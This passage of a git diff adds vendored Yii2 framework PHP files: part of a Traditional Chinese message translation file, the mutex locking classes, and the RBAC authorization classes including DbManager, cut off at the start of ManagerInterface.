one{item} other{items}}.' => '總計 {count, number} 項資料。', + 'Unable to verify your data submission.' => '您提交的資料無法被驗證。', + 'Unknown command "{command}".' => '未知的指令 "{command}"。', + 'Unknown option: --{name}' => '未知的選項:--{name}', + 'Update' => '更新', + 'View' => '查看', + 'Yes' => '是', + 'You are not allowed to perform this action.' => '您沒有執行此操作的權限。', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => '您最多可以上載 {limit, number} 個檔案。', + 'the input value' => '該輸入', + '{attribute} "{value}" has already been taken.' => '{attribute} 的值 "{value}" 已經被佔用了。', + '{attribute} cannot be blank.' => '{attribute} 不能為空白。', + '{attribute} is invalid.' => '{attribute} 不正確。', + '{attribute} is not a valid URL.' => '{attribute} 不是一個正確的網址。', + '{attribute} is not a valid email address.' => '{attribute} 不是一個正確的電郵地址。', + '{attribute} must be "{requiredValue}".' => '{attribute}必須為 "{requiredValue}"。', + '{attribute} must be a number.' => '{attribute} 必須為數字。', + '{attribute} must be a string.' => '{attribute} 必須為字串。', + '{attribute} must be an integer.' => '{attribute} 必須為整數。', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} 必須為 "{true}" 或 "{false}"。', + '{attribute} must be greater than "{compareValue}".' => '{attribute} 必須大於 "{compareValue}"。', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} 必須大或等於 "{compareValue}"。', + '{attribute} must be less than "{compareValue}".' => '{attribute} 必須小於 "{compareValue}"。', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} 必須少或等於 "{compareValue}"。', + '{attribute} must be no greater than {max}.' => '{attribute} 不可以大於 {max}。', + '{attribute} must be no less than {min}.' => '{attribute} 不可以少於 {min}。', + '{attribute} must be repeated exactly.' => '{attribute} 必須重複一致。', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} 不可以等於 "{compareValue}"。', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} 應該包含至少 {min, number} 個字符。', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} 只能包含最多 {max, number} 個字符。', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} 應該包含 {length, number} 個字符。', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mutex/DbMutex.php b/php/yii2/basic/vendor/yiisoft/yii2/mutex/DbMutex.php new file mode 100644 index 00000000..80daa1f2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mutex/DbMutex.php @@ -0,0 +1,42 @@ + + * @since 2.0 + */ +abstract class DbMutex extends Mutex +{ + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + * After the Mutex object is created, if you want to change this property, you should only assign + * it with a DB connection object. + */ + public $db = 'db'; + + + /** + * Initializes generic database table based mutex implementation. + * @throws InvalidConfigException if [[db]] is invalid. + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Connection::className()); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mutex/FileMutex.php b/php/yii2/basic/vendor/yiisoft/yii2/mutex/FileMutex.php new file mode 100644 index 00000000..b58fe344 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mutex/FileMutex.php @@ -0,0 +1,131 @@ + [ + * 'mutex'=> [ + * 'class' => 'yii\mutex\FileMutex' + * ], + * ], + * ] + * ``` + * + * Note: this component can maintain the locks only for the single web server, + * it probably will not suffice to your in case you are using cloud server solution. + * + * Warning: due to `flock()` function nature this component is unreliable when + * using a multithreaded server API like ISAPI. + * + * @see Mutex + * + * @author resurtm + * @since 2.0 + */ +class FileMutex extends Mutex +{ + /** + * @var string the directory to store mutex files. You may use path alias here. + * Defaults to the "mutex" subdirectory under the application runtime path. + */ + public $mutexPath = '@runtime/mutex'; + /** + * @var integer the permission to be set for newly created mutex files. + * This value will be used by PHP chmod() function. No umask will be applied. + * If not set, the permission will be determined by the current environment. + */ + public $fileMode; + /** + * @var integer the permission to be set for newly created directories. + * This value will be used by PHP chmod() function. No umask will be applied. + * Defaults to 0775, meaning the directory is read-writable by owner and group, + * but read-only for other users. + */ + public $dirMode = 0775; + + /** + * @var resource[] stores all opened lock files. Keys are lock names and values are file handles. + */ + private $_files = []; + + + /** + * Initializes mutex component implementation dedicated for UNIX, GNU/Linux, Mac OS X, and other UNIX-like + * operating systems. + * @throws InvalidConfigException + */ + public function init() + { + if (DIRECTORY_SEPARATOR === '\\') { + throw new InvalidConfigException('FileMutex does not have MS Windows operating system support.'); + } + $this->mutexPath = Yii::getAlias($this->mutexPath); + if (!is_dir($this->mutexPath)) { + FileHelper::createDirectory($this->mutexPath, $this->dirMode, true); + } + } + + /** + * Acquires lock by given name. + * @param string $name of the lock to be acquired. + * @param integer $timeout to wait for lock to become released. + * @return boolean acquiring result. + */ + protected function acquireLock($name, $timeout = 0) + { + $fileName = $this->mutexPath . '/' . md5($name) . '.lock'; + $file = fopen($fileName, 'w+'); + if ($file === false) { + return false; + } + if ($this->fileMode !== null) { + @chmod($fileName, $this->fileMode); + } + $waitTime = 0; + while (!flock($file, LOCK_EX | LOCK_NB)) { + $waitTime++; + if ($waitTime > $timeout) { + fclose($file); + + return false; + } + sleep(1); + } + $this->_files[$name] = $file; + + return true; + } + + /** + * Releases lock by given name. + * @param string $name of the lock to be released. + * @return boolean release result. + */ + protected function releaseLock($name) + { + if (!isset($this->_files[$name]) || !flock($this->_files[$name], LOCK_UN)) { + return false; + } else { + fclose($this->_files[$name]); + unset($this->_files[$name]); + + return true; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mutex/Mutex.php b/php/yii2/basic/vendor/yiisoft/yii2/mutex/Mutex.php new file mode 100644 index 00000000..31e94b1b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mutex/Mutex.php @@ -0,0 +1,114 @@ +acquire($mutexName)) { + * // business logic execution + * } else { + * // execution is blocked! + * } + * ``` + * + * This class is a base one, which should be extended in order to implement actual lock mechanism. + * + * @author resurtm + * @since 2.0 + */ +abstract class Mutex extends Component +{ + /** + * @var boolean whether all locks acquired in this process (i.e. local locks) must be released automagically + * before finishing script execution. Defaults to true. Setting this property to true means that all locks + * acquire in this process must be released in any case (regardless any kind of errors or exceptions). + */ + public $autoRelease = true; + + /** + * @var string[] names of the locks acquired in the current PHP process. + */ + private $_locks = []; + + + /** + * Initializes the mutex component. + */ + public function init() + { + if ($this->autoRelease) { + $locks = &$this->_locks; + register_shutdown_function(function () use (&$locks) { + foreach ($locks as $lock) { + $this->release($lock); + } + }); + } + } + + /** + * Acquires lock by given name. + * @param string $name of the lock to be acquired. Must be unique. + * @param integer $timeout to wait for lock to be released. Defaults to zero meaning that method will return + * false immediately in case lock was already acquired. + * @return boolean lock acquiring result. + */ + public function acquire($name, $timeout = 0) + { + if ($this->acquireLock($name, $timeout)) { + $this->_locks[] = $name; + + return true; + } else { + return false; + } + } + + /** + * Release acquired lock. This method will return false in case named lock was not found. + * @param string $name of the lock to be released. This lock must be already created. + * @return boolean lock release result: false in case named lock was not found.. + */ + public function release($name) + { + if ($this->releaseLock($name)) { + $index = array_search($name, $this->_locks); + if ($index !== false) { + unset($this->_locks[$index]); + } + + return true; + } else { + return false; + } + } + + /** + * This method should be extended by concrete mutex implementations. Acquires lock by given name. + * @param string $name of the lock to be acquired. + * @param integer $timeout to wait for lock to become released. + * @return boolean acquiring result. + */ + abstract protected function acquireLock($name, $timeout = 0); + + /** + * This method should be extended by concrete mutex implementations. Releases lock by given name. + * @param string $name of the lock to be released. + * @return boolean release result. + */ + abstract protected function releaseLock($name); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mutex/MysqlMutex.php b/php/yii2/basic/vendor/yiisoft/yii2/mutex/MysqlMutex.php new file mode 100644 index 00000000..1a821115 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mutex/MysqlMutex.php @@ -0,0 +1,77 @@ + [ + * 'db'=> [ + * 'class' => 'yii\db\Connection', + * 'dsn' => 'mysql:host=127.0.0.1;dbname=demo', + * ] + * 'mutex'=> [ + * 'class' => 'yii\mutex\MysqlMutex', + * ], + * ], + * ] + * ``` + * + * @see Mutex + * + * @author resurtm + * @since 2.0 + */ +class MysqlMutex extends DbMutex +{ + /** + * Initializes MySQL specific mutex component implementation. + * @throws InvalidConfigException if [[db]] is not MySQL connection. + */ + public function init() + { + parent::init(); + if ($this->db->driverName !== 'mysql') { + throw new InvalidConfigException('In order to use MysqlMutex connection must be configured to use MySQL database.'); + } + } + + /** + * Acquires lock by given name. + * @param string $name of the lock to be acquired. + * @param integer $timeout to wait for lock to become released. + * @return boolean acquiring result. + * @see http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_get-lock + */ + protected function acquireLock($name, $timeout = 0) + { + return (boolean) $this->db + ->createCommand('SELECT GET_LOCK(:name, :timeout)', [':name' => $name, ':timeout' => $timeout]) + ->queryScalar(); + } + + /** + * Releases lock by given name. + * @param string $name of the lock to be released. + * @return boolean release result. + * @see http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_release-lock + */ + protected function releaseLock($name) + { + return (boolean) $this->db + ->createCommand('SELECT RELEASE_LOCK(:name)', [':name' => $name]) + ->queryScalar(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/Assignment.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Assignment.php new file mode 100644 index 00000000..5a135472 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Assignment.php @@ -0,0 +1,34 @@ + + * @author Alexander Kochetov + * @since 2.0 + */ +class Assignment extends Object +{ + /** + * @var string|integer user ID (see [[\yii\web\User::id]]) + */ + public $userId; + /** + * @return string the role name + */ + public $roleName; + /** + * @var integer UNIX timestamp representing the assignment creation time + */ + public $createdAt; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/BaseManager.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/BaseManager.php new file mode 100644 index 00000000..3ea53f95 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/BaseManager.php @@ -0,0 +1,213 @@ + + * @since 2.0 + */ +abstract class BaseManager extends Component implements ManagerInterface +{ + /** + * @var array a list of role names that are assigned to every user automatically without calling [[assign()]]. + */ + public $defaultRoles = []; + + + /** + * Returns the named auth item. + * @param string $name the auth item name. + * @return Item the auth item corresponding to the specified name. Null is returned if no such item. + */ + abstract protected function getItem($name); + + /** + * Returns the items of the specified type. + * @param integer $type the auth item type (either [[Item::TYPE_ROLE]] or [[Item::TYPE_PERMISSION]] + * @return Item[] the auth items of the specified type. + */ + abstract protected function getItems($type); + + /** + * Adds an auth item to the RBAC system. + * @param Item $item + * @return boolean whether the auth item is successfully added to the system + * @throws \Exception if data validation or saving fails (such as the name of the role or permission is not unique) + */ + abstract protected function addItem($item); + + /** + * Adds a rule to the RBAC system. + * @param Rule $rule + * @return boolean whether the rule is successfully added to the system + * @throws \Exception if data validation or saving fails (such as the name of the rule is not unique) + */ + abstract protected function addRule($rule); + + /** + * Removes an auth item from the RBAC system. + * @param Item $item + * @return boolean whether the role or permission is successfully removed + * @throws \Exception if data validation or saving fails (such as the name of the role or permission is not unique) + */ + abstract protected function removeItem($item); + + /** + * Removes a rule from the RBAC system. + * @param Rule $rule + * @return boolean whether the rule is successfully removed + * @throws \Exception if data validation or saving fails (such as the name of the rule is not unique) + */ + abstract protected function removeRule($rule); + + /** + * Updates an auth item in the RBAC system. + * @param string $name the old name of the auth item + * @param Item $item + * @return boolean whether the auth item is successfully updated + * @throws \Exception if data validation or saving fails (such as the name of the role or permission is not unique) + */ + abstract protected function updateItem($name, $item); + + /** + * Updates a rule to the RBAC system. + * @param string $name the old name of the rule + * @param Rule $rule + * @return boolean whether the rule is successfully updated + * @throws \Exception if data validation or saving fails (such as the name of the rule is not unique) + */ + abstract protected function updateRule($name, $rule); + + /** + * @inheritdoc + */ + public function createRole($name) + { + $role = new Role; + $role->name = $name; + return $role; + } + + /** + * @inheritdoc + */ + public function createPermission($name) + { + $permission = new Permission(); + $permission->name = $name; + return $permission; + } + + /** + * @inheritdoc + */ + public function add($object) + { + if ($object instanceof Item) { + return $this->addItem($object); + } elseif ($object instanceof Rule) { + return $this->addRule($object); + } else { + throw new InvalidParamException("Adding unsupported object type."); + } + } + + /** + * @inheritdoc + */ + public function remove($object) + { + if ($object instanceof Item) { + return $this->removeItem($object); + } elseif ($object instanceof Rule) { + return $this->removeRule($object); + } else { + throw new InvalidParamException("Removing unsupported object type."); + } + } + + /** + * @inheritdoc + */ + public function update($name, $object) + { + if ($object instanceof Item) { + return $this->updateItem($name, $object); + } elseif ($object instanceof Rule) { + return $this->updateRule($name, $object); + } else { + throw new InvalidParamException("Updating unsupported object type."); + } + } + + /** + * @inheritdoc + */ + public function getRole($name) + { + $item = $this->getItem($name); + return $item instanceof Item && $item->type == Item::TYPE_ROLE ? $item : null; + } + + /** + * @inheritdoc + */ + public function getPermission($name) + { + $item = $this->getItem($name); + return $item instanceof Item && $item->type == Item::TYPE_PERMISSION ? $item : null; + } + + /** + * @inheritdoc + */ + public function getRoles() + { + return $this->getItems(Item::TYPE_ROLE); + } + + /** + * @inheritdoc + */ + public function getPermissions() + { + return $this->getItems(Item::TYPE_PERMISSION); + } + + /** + * Executes the rule associated with the specified auth item. + * + * If the item does not specify a rule, this method will return true. Otherwise, it will + * return the value of [[Rule::execute()]]. + * + * @param string|integer $user the user ID. This should be either an integer or a string representing + * the unique identifier of a user. See [[\yii\web\User::id]]. + * @param Item $item the auth item that needs to execute its rule + * @param array $params parameters passed to [[ManagerInterface::checkAccess()]] and will be passed to the rule + * @return boolean the return value of [[Rule::execute()]]. If the auth item does not specify a rule, true will be returned. + * @throws InvalidConfigException if the auth item has an invalid rule. + */ + protected function executeRule($user, $item, $params) + { + if ($item->ruleName === null) { + return true; + } + $rule = $this->getRule($item->ruleName); + if ($rule instanceof Rule) { + return $rule->execute($user, $item, $params); + } else { + throw new InvalidConfigException("Rule not found: {$item->ruleName}"); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/DbManager.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/DbManager.php new file mode 100644 index 00000000..b20153dd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/DbManager.php @@ -0,0 +1,741 @@ + + * @author Alexander Kochetov + * @since 2.0 + */ +class DbManager extends BaseManager +{ + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + * After the DbManager object is created, if you want to change this property, you should only assign it + * with a DB connection object. + */ + public $db = 'db'; + /** + * @var string the name of the table storing authorization items. Defaults to "auth_item". + */ + public $itemTable = '{{%auth_item}}'; + /** + * @var string the name of the table storing authorization item hierarchy. Defaults to "auth_item_child". + */ + public $itemChildTable = '{{%auth_item_child}}'; + /** + * @var string the name of the table storing authorization item assignments. Defaults to "auth_assignment". + */ + public $assignmentTable = '{{%auth_assignment}}'; + /** + * @var string the name of the table storing rules. Defaults to "auth_rule". + */ + public $ruleTable = '{{%auth_rule}}'; + + + /** + * Initializes the application component. + * This method overrides the parent implementation by establishing the database connection. + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Connection::className()); + } + + /** + * @inheritdoc + */ + public function checkAccess($userId, $permissionName, $params = []) + { + $assignments = $this->getAssignments($userId); + return $this->checkAccessRecursive($userId, $permissionName, $params, $assignments); + } + + /** + * Performs access check for the specified user. + * This method is internally called by [[checkAccess()]]. + * @param string|integer $user the user ID. This should can be either an integer or a string representing + * the unique identifier of a user. See [[\yii\web\User::id]]. + * @param string $itemName the name of the operation that need access check + * @param array $params name-value pairs that would be passed to rules associated + * with the tasks and roles assigned to the user. A param with name 'user' is added to this array, + * which holds the value of `$userId`. + * @param Assignment[] $assignments the assignments to the specified user + * @return boolean whether the operations can be performed by the user. + */ + protected function checkAccessRecursive($user, $itemName, $params, $assignments) + { + if (($item = $this->getItem($itemName)) === null) { + return false; + } + + Yii::trace($item instanceof Role ? "Checking role: $itemName" : "Checking permission: $itemName", __METHOD__); + + if (!$this->executeRule($user, $item, $params)) { + return false; + } + + if (isset($assignments[$itemName]) || in_array($itemName, $this->defaultRoles)) { + return true; + } + + $query = new Query; + $parents = $query->select(['parent']) + ->from($this->itemChildTable) + ->where(['child' => $itemName]) + ->column($this->db); + foreach ($parents as $parent) { + if ($this->checkAccessRecursive($user, $parent, $params, $assignments)) { + return true; + } + } + + return false; + } + + /** + * @inheritdoc + */ + protected function getItem($name) + { + $row = (new Query)->from($this->itemTable) + ->where(['name' => $name]) + ->one($this->db); + + if ($row === false) { + return null; + } + + if (!isset($row['data']) || ($data = @unserialize($row['data'])) === false) { + $row['data'] = null; + } + + return $this->populateItem($row); + } + + /** + * Returns a value indicating whether the database supports cascading update and delete. + * The default implementation will return false for SQLite database and true for all other databases. + * @return boolean whether the database supports cascading update and delete. + */ + protected function supportsCascadeUpdate() + { + return strncmp($this->db->getDriverName(), 'sqlite', 6) !== 0; + } + + /** + * @inheritdoc + */ + protected function addItem($item) + { + $time = time(); + if ($item->createdAt === null) { + $item->createdAt = $time; + } + if ($item->updatedAt === null) { + $item->updatedAt = $time; + } + $this->db->createCommand() + ->insert($this->itemTable, [ + 'name' => $item->name, + 'type' => $item->type, + 'description' => $item->description, + 'rule_name' => $item->ruleName, + 'data' => $item->data === null ? null : serialize($item->data), + 'created_at' => $item->createdAt, + 'updated_at' => $item->updatedAt, + ])->execute(); + + return true; + } + + /** + * @inheritdoc + */ + protected function removeItem($item) + { + if (!$this->supportsCascadeUpdate()) { + $this->db->createCommand() + ->delete($this->itemChildTable, ['or', 'parent=:name', 'child=:name'], [':name' => $item->name]) + ->execute(); + $this->db->createCommand() + ->delete($this->assignmentTable, ['item_name' => $item->name]) + ->execute(); + } + + $this->db->createCommand() + ->delete($this->itemTable, ['name' => $item->name]) + ->execute(); + + return true; + } + + /** + * @inheritdoc + */ + protected function updateItem($name, $item) + { + if (!$this->supportsCascadeUpdate() && $item->name !== $name) { + $this->db->createCommand() + ->update($this->itemChildTable, ['parent' => $item->name], ['parent' => $name]) + ->execute(); + $this->db->createCommand() + ->update($this->itemChildTable, ['child' => $item->name], ['child' => $name]) + ->execute(); + $this->db->createCommand() + ->update($this->assignmentTable, ['item_name' => $item->name], ['item_name' => $name]) + ->execute(); + } + + $item->updatedAt = time(); + + $this->db->createCommand() + ->update($this->itemTable, [ + 'name' => $item->name, + 'description' => $item->description, + 'rule_name' => $item->ruleName, + 'data' => $item->data === null ? null : serialize($item->data), + 'updated_at' => $item->updatedAt, + ], [ + 'name' => $name, + ])->execute(); + + return true; + } + + /** + * @inheritdoc + */ + protected function addRule($rule) + { + $time = time(); + if ($rule->createdAt === null) { + $rule->createdAt = $time; + } + if ($rule->updatedAt === null) { + $rule->updatedAt = $time; + } + $this->db->createCommand() + ->insert($this->ruleTable, [ + 'name' => $rule->name, + 'data' => serialize($rule), + 'created_at' => $rule->createdAt, + 'updated_at' => $rule->updatedAt, + ])->execute(); + + return true; + } + + /** + * @inheritdoc + */ + protected function updateRule($name, $rule) + { + if (!$this->supportsCascadeUpdate() && $rule->name !== $name) { + $this->db->createCommand() + ->update($this->itemTable, ['rule_name' => $rule->name], ['rule_name' => $name]) + ->execute(); + } + + $rule->updatedAt = time(); + + $this->db->createCommand() + ->update($this->ruleTable, [ + 'name' => $rule->name, + 'data' => serialize($rule), + 'updated_at' => $rule->updatedAt, + ], [ + 'name' => $name, + ])->execute(); + + return true; + } + + /** + * @inheritdoc + */ + protected function removeRule($rule) + { + if (!$this->supportsCascadeUpdate()) { + $this->db->createCommand() + ->delete($this->itemTable, ['rule_name' => $rule->name]) + ->execute(); + } + + $this->db->createCommand() + ->delete($this->ruleTable, ['name' => $rule->name]) + ->execute(); + + return true; + } + + /** + * @inheritdoc + */ + protected function getItems($type) + { + $query = (new Query) + ->from($this->itemTable) + ->where(['type' => $type]); + + $items = []; + foreach ($query->all($this->db) as $row) { + $items[$row['name']] = $this->populateItem($row); + } + + return $items; + } + + /** + * Populates an auth item with the data fetched from database + * @param array $row the data from the auth item table + * @return Item the populated auth item instance (either Role or Permission) + */ + protected function populateItem($row) + { + $class = $row['type'] == Item::TYPE_PERMISSION ? Permission::className() : Role::className(); + + if (!isset($row['data']) || ($data = @unserialize($row['data'])) === false) { + $data = null; + } + + return new $class([ + 'name' => $row['name'], + 'type' => $row['type'], + 'description' => $row['description'], + 'ruleName' => $row['rule_name'], + 'data' => $data, + 'createdAt' => $row['created_at'], + 'updatedAt' => $row['updated_at'], + ]); + } + + /** + * @inheritdoc + */ + public function getRolesByUser($userId) + { + if (empty($userId)) { + return []; + } + + $query = (new Query)->select('b.*') + ->from(['a' => $this->assignmentTable, 'b' => $this->itemTable]) + ->where('a.item_name=b.name') + ->andWhere(['a.user_id' => (string)$userId]); + + $roles = []; + foreach ($query->all($this->db) as $row) { + $roles[$row['name']] = $this->populateItem($row); + } + return $roles; + } + + /** + * @inheritdoc + */ + public function getPermissionsByRole($roleName) + { + $childrenList = $this->getChildrenList(); + $result = []; + $this->getChildrenRecursive($roleName, $childrenList, $result); + if (empty($result)) { + return []; + } + $query = (new Query)->from($this->itemTable)->where([ + 'type' => Item::TYPE_PERMISSION, + 'name' => array_keys($result), + ]); + $permissions = []; + foreach ($query->all($this->db) as $row) { + $permissions[$row['name']] = $this->populateItem($row); + } + return $permissions; + } + + /** + * @inheritdoc + */ + public function getPermissionsByUser($userId) + { + if (empty($userId)) { + return []; + } + + $query = (new Query)->select('item_name') + ->from($this->assignmentTable) + ->where(['user_id' => (string)$userId]); + + $childrenList = $this->getChildrenList(); + $result = []; + foreach ($query->column($this->db) as $roleName) { + $this->getChildrenRecursive($roleName, $childrenList, $result); + } + + if (empty($result)) { + return []; + } + + $query = (new Query)->from($this->itemTable)->where([ + 'type' => Item::TYPE_PERMISSION, + 'name' => array_keys($result), + ]); + $permissions = []; + foreach ($query->all($this->db) as $row) { + $permissions[$row['name']] = $this->populateItem($row); + } + return $permissions; + } + + /** + * Returns the children for every parent. + * @return array the children list. Each array key is a parent item name, + * and the corresponding array value is a list of child item names. + */ + protected function getChildrenList() + { + $query = (new Query)->from($this->itemChildTable); + $parents = []; + foreach ($query->all($this->db) as $row) { + $parents[$row['parent']][] = $row['child']; + } + return $parents; + } + + /** + * Recursively finds all children and grand children of the specified item. + * @param string $name the name of the item whose children are to be looked for. + * @param array $childrenList the child list built via [[getChildrenList()]] + * @param array $result the children and grand children (in array keys) + */ + protected function getChildrenRecursive($name, $childrenList, &$result) + { + if (isset($childrenList[$name])) { + foreach ($childrenList[$name] as $child) { + $result[$child] = true; + $this->getChildrenRecursive($child, $childrenList, $result); + } + } + } + + /** + * @inheritdoc + */ + public function getRule($name) + { + $row = (new Query)->select(['data']) + ->from($this->ruleTable) + ->where(['name' => $name]) + ->one($this->db); + return $row === false ? null : unserialize($row['data']); + } + + /** + * @inheritdoc + */ + public function getRules() + { + $query = (new Query)->from($this->ruleTable); + + $rules = []; + foreach ($query->all($this->db) as $row) { + $rules[$row['name']] = unserialize($row['data']); + } + + return $rules; + } + + /** + * @inheritdoc + */ + public function getAssignment($roleName, $userId) + { + if (empty($userId)) { + return null; + } + + $row = (new Query)->from($this->assignmentTable) + ->where(['user_id' => (string)$userId, 'item_name' => $roleName]) + ->one($this->db); + + if ($row === false) { + return null; + } + + return new Assignment([ + 'userId' => $row['user_id'], + 'roleName' => $row['item_name'], + 'createdAt' => $row['created_at'], + ]); + } + + /** + * @inheritdoc + */ + public function getAssignments($userId) + { + if (empty($userId)) { + return []; + } + + $query = (new Query) + ->from($this->assignmentTable) + ->where(['user_id' => (string)$userId]); + + $assignments = []; + foreach ($query->all($this->db) as $row) { + $assignments[$row['item_name']] = new Assignment([ + 'userId' => $row['user_id'], + 'roleName' => $row['item_name'], + 'createdAt' => $row['created_at'], + ]); + } + + return $assignments; + } + + /** + * @inheritdoc + */ + public function addChild($parent, $child) + { + if ($parent->name === $child->name) { + throw new InvalidParamException("Cannot add '{$parent->name}' as a child of itself."); + } + + if ($parent instanceof Permission && $child instanceof Role) { + throw new InvalidParamException("Cannot add a role as a child of a permission."); + } + + if ($this->detectLoop($parent, $child)) { + throw new InvalidCallException("Cannot add '{$child->name}' as a child of '{$parent->name}'. A loop has been detected."); + } + + $this->db->createCommand() + ->insert($this->itemChildTable, ['parent' => $parent->name, 'child' => $child->name]) + ->execute(); + + return true; + } + + /** + * @inheritdoc + */ + public function removeChild($parent, $child) + { + return $this->db->createCommand() + ->delete($this->itemChildTable, ['parent' => $parent->name, 'child' => $child->name]) + ->execute() > 0; + } + + /** + * @inheritdoc + */ + public function removeChildren($parent) + { + return $this->db->createCommand() + ->delete($this->itemChildTable, ['parent' => $parent->name]) + ->execute() > 0; + } + + /** + * @inheritdoc + */ + public function hasChild($parent, $child) + { + return (new Query) + ->from($this->itemChildTable) + ->where(['parent' => $parent->name, 'child' => $child->name]) + ->one($this->db) !== false; + } + + /** + * @inheritdoc + */ + public function getChildren($name) + { + $query = (new Query) + ->select(['name', 'type', 'description', 'rule_name', 'data', 'created_at', 'updated_at']) + ->from([$this->itemTable, $this->itemChildTable]) + ->where(['parent' => $name, 'name' => new Expression('child')]); + + $children = []; + foreach ($query->all($this->db) as $row) { + $children[$row['name']] = $this->populateItem($row); + } + + return $children; + } + + /** + * Checks whether there is a loop in the authorization item hierarchy. + * @param Item $parent the parent item + * @param Item $child the child item to be added to the hierarchy + * @return boolean whether a loop exists + */ + protected function detectLoop($parent, $child) + { + if ($child->name === $parent->name) { + return true; + } + foreach ($this->getChildren($child->name) as $grandchild) { + if ($this->detectLoop($parent, $grandchild)) { + return true; + } + } + return false; + } + + /** + * @inheritdoc + */ + public function assign($role, $userId) + { + $assignment = new Assignment([ + 'userId' => $userId, + 'roleName' => $role->name, + 'createdAt' => time(), + ]); + + $this->db->createCommand() + ->insert($this->assignmentTable, [ + 'user_id' => $assignment->userId, + 'item_name' => $assignment->roleName, + 'created_at' => $assignment->createdAt, + ])->execute(); + + return $assignment; + } + + /** + * @inheritdoc + */ + public function revoke($role, $userId) + { + if (empty($userId)) { + return false; + } + + return $this->db->createCommand() + ->delete($this->assignmentTable, ['user_id' => (string)$userId, 'item_name' => $role->name]) + ->execute() > 0; + } + + /** + * @inheritdoc + */ + public function revokeAll($userId) + { + if (empty($userId)) { + return false; + } + + return $this->db->createCommand() + ->delete($this->assignmentTable, ['user_id' => (string)$userId]) + ->execute() > 0; + } + + /** + * @inheritdoc + */ + public function removeAll() + { + $this->removeAllAssignments(); + $this->db->createCommand()->delete($this->itemChildTable)->execute(); + $this->db->createCommand()->delete($this->itemTable)->execute(); + $this->db->createCommand()->delete($this->ruleTable)->execute(); + } + + /** + * @inheritdoc + */ + public function removeAllPermissions() + { + $this->removeAllItems(Item::TYPE_PERMISSION); + } + + /** + * @inheritdoc + */ + public function removeAllRoles() + { + $this->removeAllItems(Item::TYPE_ROLE); + } + + /** + * Removes all auth items of the specified type. + * @param integer $type the auth item type (either Item::TYPE_PERMISSION or Item::TYPE_ROLE) + */ + protected function removeAllItems($type) + { + if (!$this->supportsCascadeUpdate()) { + $names = (new Query) + ->select(['name']) + ->from($this->itemTable) + ->where(['type' => $type]) + ->column($this->db); + if (empty($names)) { + return; + } + $key = $type == Item::TYPE_PERMISSION ? 'child' : 'parent'; + $this->db->createCommand() + ->delete($this->itemChildTable, [$key => $names]) + ->execute(); + $this->db->createCommand() + ->delete($this->assignmentTable, ['item_name' => $names]) + ->execute(); + } + $this->db->createCommand() + ->delete($this->itemTable, ['type' => $type]) + ->execute(); + } + + /** + * @inheritdoc + */ + public function removeAllRules() + { + if (!$this->supportsCascadeUpdate()) { + $this->db->createCommand() + ->update($this->itemTable, ['ruleName' => null]) + ->execute(); + } + + $this->db->createCommand()->delete($this->ruleTable)->execute(); + } + + /** + * @inheritdoc + */ + public function removeAllAssignments() + { + $this->db->createCommand()->delete($this->assignmentTable)->execute(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/Item.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Item.php new file mode 100644 index 00000000..5a790876 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Item.php @@ -0,0 +1,49 @@ + + * @since 2.0 + */ +class Item extends Object +{ + const TYPE_ROLE = 1; + const TYPE_PERMISSION = 2; + + /** + * @var integer the type of the item. This should be either [[TYPE_ROLE]] or [[TYPE_PERMISSION]]. + */ + public $type; + /** + * @var string the name of the item. This must be globally unique. + */ + public $name; + /** + * @var string the item description + */ + public $description; + /** + * @var string name of the rule associated with this item + */ + public $ruleName; + /** + * @var mixed the additional data associated with this item + */ + public $data; + /** + * @var integer UNIX timestamp representing the item creation time + */ + public $createdAt; + /** + * @var integer UNIX timestamp representing the item updating time + */ + public $updatedAt; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/ManagerInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/ManagerInterface.php new file mode 100644 index 00000000..cc7371e9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/ManagerInterface.php @@ -0,0 +1,240 @@ + + * @since 2.0 + */ +interface ManagerInterface +{ + /** + * Checks if the user has the specified permission. + * @param string|integer $userId the user ID. This should be either an integer or a string representing + * the unique identifier of a user. See [[\yii\web\User::id]]. + * @param string $permissionName the name of the permission to be checked against + * @param array $params name-value pairs that will be passed to the rules associated + * with the roles and permissions assigned to the user. + * @return boolean whether the user has the specified permission. + * @throws \yii\base\InvalidParamException if $permissionName does not refer to an existing permission + */ + public function checkAccess($userId, $permissionName, $params = []); + + 